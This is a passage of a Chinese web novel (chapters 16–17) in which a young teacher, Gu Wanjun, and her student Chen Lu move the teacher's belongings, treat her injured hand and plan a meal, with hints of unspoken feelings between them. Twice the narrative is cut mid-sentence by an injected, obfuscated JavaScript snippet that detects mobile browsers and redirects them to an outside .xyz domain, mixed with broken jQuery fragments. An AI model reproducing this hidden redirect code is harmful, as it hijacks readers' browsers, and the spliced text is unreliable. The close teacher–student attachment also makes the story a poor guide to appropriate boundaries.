从那个房东阿姨对陈璐的态度来看,顾婉君更加坚信,不光是自己想着念着陈璐,天底下应该没人会不喜欢像陈璐那样乖巧懂事贴心细心的小女孩。 …… 公交车来了,顾婉君摸了摸口袋里的纸币,准备上车。 “老师!” 身后传来一道熟悉的声音,顾婉君闻声转头。 结果发现是陈璐。 女孩刚出小区门,正朝自己这个方向一路小跑过来。 16. 16 眼见陈璐离自己越来越近,嘴唇稍微一动、碰到冰凉的牙齿时,顾婉君才意识到自己一直在笑。 耳边传来公交车司机催促上车的声音,顾婉君回过神来摆了摆手,并让开位置,方便旁边人上车。 公交车启动开远,陈璐也小跑到了顾婉君身旁。 “你怎么来了,是有什么事吗?” 顾婉君边说边顺手将眼前人被吹乱的碎发勾到耳边。 陈璐今天没有扎高马尾,只是简单地披着,柔软乌黑的发质摸起来手感很好,衬得女孩的脸色也愈发白皙可人。 “老师,一个人搬家太麻烦了,我和你一起。” “……” 听到陈璐一路小跑追过来就是想帮自己搬家,顾婉君愣了一下,之后习惯性地笑着婉拒: “不用了,我东西少,自己搬就行。” “两个人搬比一个人快,趁着暖和早搬完早结束。” “陈璐同学,你的好意老师心领了,但是真的不用,我自己一个人可以,好不容易放天假,你快回去休息吧。” “你手受伤了,不方便搬东西。” “没关系,就是小伤,已经不疼了。” “你搬来之后,我们就是邻居了,阿姨不是说让我们互相照顾吗?” “……” 对上陈璐认真中带着几分倔强的目光,顾婉君眉心微动,失笑道: “阿姨是那么说的吗?” “嗯。”陈璐点头。 “阿姨不是说让我帮忙好好照顾你吗,怎么到你这儿成互相照顾了?” “人和人之间本来就是相互照顾相互帮忙的,我现在帮老师,等以后也有需要老师帮我的时候。” “……” 听着眼前人这套貌似连她自己都不满意的说辞,顾婉君有些哭笑不得,她刚想再说点什么拒绝,陈璐却先她一步又说道: “老师不用怕麻烦我,我不是白帮忙的,搬完家之后,老师请我吃饭吧。” 陈璐语气认真,完全没有开玩笑的意思。 她深知顾婉君不愿意麻烦别人,这点上她们两个是一类人,没人能比陈璐更懂得如何让顾婉君接受帮助。 正如陈璐所料,在听到说搬完家之后要请吃饭时,顾婉君眼里闪过一抹说不清道不明的情绪,拒绝的话再也说不出口。 先不说一个人搬家确实很难,最重要的是顾婉君有几分私心—— 她一直都想请陈璐吃饭。 无论是之前在教学楼门口扶了自己一把、半夜送自己手电筒、生理期给自己送热帖接热水,连续几天帮自己占座、再到今天说要帮自己搬家……… 这顿饭顾婉君请定了。 …… —— 意见达成一致后,两人一起坐上了下一班公交车。 车上人不多,上车之后,两人十分默契地坐在了之前经常坐的双排连座上。 想起这几天自己独自坐车时的“黯然神伤”,而此刻那个安静贴心的女孩又坐在自己身边,顾婉君心里有股子难以言说的复杂情绪,她没忍住提了一句: “你搬家怎么没跟我说一声啊?” “嗯?” “第一次发现你不在车上的时候,我还以为你是没赶上车。” 说这话的时候,顾婉君是笑着的,她本意也只是想当作闲聊说说就算了,结果不知怎么了,越往后说,原本温柔的语气里多出几本顾婉君本人都不曾察觉的委屈: “之后连着好几天都没在车上看见你,我才想着你可能是搬家了。” “……” 淡粉色的指尖揪着棉服衣角,陈璐微垂眼眸,语气里听不出什么情绪: “其实我本来想跟你说一声,但又觉得你可能不会关心这种事……” “谁说的?” 顾婉君瞬间坐直身体,语气有些急: “关于你的事我怎么可能不关心?要是不关心的话我也不至于好几个晚上都因为想着你到底搬到哪儿去了而睡不着。” “……” 话音一落,那双明澈干净的月牙眼一下亮了,陈璐感觉自己五脏六腑都在随着顾婉君的话震颤,她立马偏过头去盯着顾婉君看。 像顾婉君这样从容松弛的人,也会因为别人而失眠吗? 在顾婉君本人亲口承认之前,陈璐是万万不敢相信的。 更何况那个幸运儿竟然是自己。 …… 四目相对那一瞬,顾婉君才反应话题走向好像有点不对劲,她轻咳两声,解释道: “我是你的班主任,担心你不是应该的吗。” 顾婉君边说边微笑着错开了陈璐看过来的目光。 同样她也错过了那双月牙眼底转瞬即逝的失落。 出于班主任对学生的责任而担心她,就像担心其他学生一样,这不就是老师的分内之责吗,自己在奢望些什么? 陈璐扯扯嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13977134|148073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼里泛起一抹旁人不易察觉的失落和自嘲。 而另一边,想起这次陈璐的“不告而别”,顾婉君心里总是有些不舒服,她敛起笑意,表情认真地看着身旁人: “我之前说过,你们有什么事都可以来跟我说,下次你再有这种情况,记得告诉我一声,免得我担心。” “嗯。” 陈璐随口应下,或许是戴了口罩的原因,她的声音显得有些闷闷的。 —— 两人搬家就是比一个人快。 正如顾婉君说的,她的东西确实是少得可怜,主要是书籍材料多,现在有了陈璐的帮忙,不到两个小时,原来出租房里的东西就通通被打包装上车了。 —— 玫瑰家园,302。 把所有东西搬上楼之后,两人都累得不轻,先后坐在沙发上休息。 或许是搬东西时扯到了伤口,贴在顾婉君右手手背上的药棉贴血丝痕迹清晰可见。 这点还是陈璐先发现的。 “出血了,老师,你该换药棉贴了,我家有医药箱。” “不用,我这儿有。” 顾婉君按住正要从沙发上起身的陈璐,之后打开就近一个用透明胶带封住的纸箱,从里面拿出一个简易的家用药箱。 把开了封的纸箱推到一边,顾婉君本来想自己找药棉贴换上,结果一转头,原本放在身旁的药箱被陈璐拿到身边。 顾婉君有点不好意思让一个孩子照顾自己,她刚想找个理由说自己换药棉贴就行,结果下一秒却看见陈璐拿着几个药盒抬头看着她,表情既有担心又有无奈: “这些药过期了,不能用了。” “……过期了?”顾婉君睁大眼睛。 “你手上的药棉也是这里面的吗?” “嗯……是……” “快撕下来透透气,我去我家拿药箱,你等我一下。” “……” 看着陈璐急匆匆离开的背影,顾婉君后知后觉地眨眨眼睛,她抓起药箱里的药盒依次仔细看了看,结果发现大多数药去年就过期了。 也是啊,这药箱还是她之前从姐姐家拿的,一直带到了宁城,少说也有三四年了…… 药盒被无情地扔回药箱,顾婉君无语到闭眼,她表情懊恼地往下撕贴在右手手背上的药棉贴。 为什么偏偏总是让她在她最喜欢的学生面前犯傻呢? 这也太丢人了。 …… 17. 17 陈璐很快就拿来了药箱。 她打开盖子,找出药棉贴、碘伏和棉棒。 “老师,你之前贴药棉贴的时候给伤口消毒了吗?” “……没有。” 或许是自知理亏,说这话时,顾婉君有些紧张。 话音一落,眼见陈璐要皱眉头,顾婉君眼睫轻颤,赶忙解释: “早上去看房太着急了,没来得及消毒,谁成想药都过期了,这也算是歪打正着,因祸得福吧。” “……” 或许是碍于顾婉君是自己的班任,或许是这人一笑起来让人根本就不忍心再说什么,对上那双盈着水光的桃花眸,陈璐叹了口气,之后低下头,动作熟练地帮用棉棒帮顾婉君消毒处理伤口、贴药棉贴。 陈璐的动作很轻,顾婉君几乎没感觉到疼。 看着小姑娘认真的模样,顾婉君撑着下巴,开始不自觉地去想是不是曾几何时,陈璐也是这样自己给自己处理伤口,熟能生巧之后才变成今天这样会照顾人的样子。 虽说顾婉君从小父母经常不在身边,可有比自己大八岁的姐姐顾婉容的照顾,她几乎没吃过什么苦,同时也不擅长照顾人,姐姐经常说她能照顾好自己就很好了。 而眼前这个比自己小十岁的孩子处理起这些事情却得心应手,一方面可能是陈璐姥姥教育孩子教育得好,另一方面…… 顾婉君实在是不敢去想陈璐成长到今天吃过多少苦。 …… 换完药棉贴后,陈璐把所有东西放回原位,之后才盖上药箱的盖子。 忙了一下午,顾婉君抬眼看了一眼时间,已经快四点半了。 东北的冬天天黑得早,此刻窗外天空看起来已经有些灰蒙蒙的了。 除了装在行李箱里的衣服以及不方便装箱、只好徒手抱过来的两盆盆栽,顾婉君剩下的东西几乎都分装在各个纸箱里,此刻通通堆在客厅的地上。 本来顾婉君想着得空自己收拾一下就行了,趁着天还没黑,她和陈璐可以先去吃饭,可陈璐却说自己还不饿,还是一起先把东西收拾完吧。 两人歇了一会,之后又开始蹲在地上把几个小时前用透明胶带封好的纸箱一个一个拆开。 顾婉君有很多书,这点在打包收拾的时候陈璐就发现了。 当时赶时间收拾,压根没来得及细看都有什么书,现在拆开纸箱一看,陈璐突然发现顾婉君各种类别各种领域的书都有。 其中也包括顾婉君提过的那几本推理小说。 当然,这些书在顾婉君看过书里只能算是冰山一角。 …… “这些书你都看完了吗?” “嗯?” 忙着拆厨房用具纸箱的顾婉君回头看了一眼蹲在书箱子旁边的陈璐,柔和展眉: “我都看完了,如果有你想看的,你可以挑出来,我送你。” “老师有什么推荐吗?” “嗯……你右手边那摞第一本《人生海海》就挺值得看看的。” “麦家的书?” “嗯,是他的书,你之前看过他的作品吗?” “……” 提到麦家,陈璐脑海里下意识闪过两个名字,她犹豫了几秒,之后才故作镇定地回答:“看过,《风声》。” “啊,那本书我也有,我特别喜欢,每次看到有电影电视剧上映的时候,我都会重温一遍原著。” 顾婉君眉眼带笑,语气温柔,从她的反应来看完全就是在和陈璐正常交流安利文学作品。 …… 见顾婉君没什么特别反应,陈璐松了口气,然而随之而来的还有一种说不清道不明的失落和好奇。 事实上,在听到顾婉君说看过《风声》那一刻,陈璐突然很想问顾婉君怎么看待李宁玉和顾小梦之间的关系。 可话到嘴边,她却又问不出口。 推理小说中对那些说不清道不明的、隐晦的、甚至是“混乱”的情感关系描写不再少数,在知道顾婉君喜欢连城三纪彦的书、对这类文学作品见怪不怪的情况下,想问问题的陈璐还是莫名感到一阵紧张,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13977135|148073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至还有几分心虚在里面。 这是怎么回事? 埋头收拾的陈璐不知不觉中陷入自我剖析和怀疑,没再跟顾婉君搭话。 …… 北京时间下午五点半。 窗外夜幕笼罩,堆在客厅里的纸箱终于被两人收拾出来了。 忙了一下午,就算是铁人也该吃饭了。 顾婉君看了一眼时间,她问陈璐想吃什么,她们现在就出门吃饭。 陈璐没有马上回答,她想了一会,最后问顾婉君能不能买菜回来自己做。 对于这个提议,顾婉君足足愣了好几秒,不知道该怎么回答。 她能想到陈璐应该是怕出去吃花钱多,可关键是买菜回来做…… 顾婉君不知道该怎么跟陈璐解释她那只能确保把菜做熟却保证不了味道的、实在是拿不出手的厨艺。 她实在是不想在自己喜欢的学生面前一而再再而三地丢人。 …… 似乎是察觉到了顾婉君的为难,陈璐想了想,十分善解人意地补上了一句: “老师你手上有伤,买回来菜之后帮我打打下手就行,剩下的我可以做。” “……” 面对陈璐贴心递过来的台阶,顾婉君先是惊喜于小姑娘竟然会做菜,之后便是想要婉拒。 明明是自己请吃饭,实在是不应该让陈璐下厨。 顾婉君这样想,她本应该明确拒绝、直接说出去吃的。 可不知怎么的,拒绝的话明明已经绕到了嘴边,但顾婉君硬是说不出口。 顾婉君啊顾婉君,真有你的,人家小姑娘帮你搬了一下午的家,到头来你还好意思让人家给你做饭? 顾婉君在心里暗骂自己,可骂着骂着,她的思绪又不自觉地飘到了刚才陈璐说的话上—— 陈璐说她可以做菜,如果真的要买菜回来做的话,她们不但可以一起逛超市,她还能尝到陈璐的手艺,饭后她们还可以在家里一起说说话聊聊天,这难道不比去外面吃好一万倍吗? ……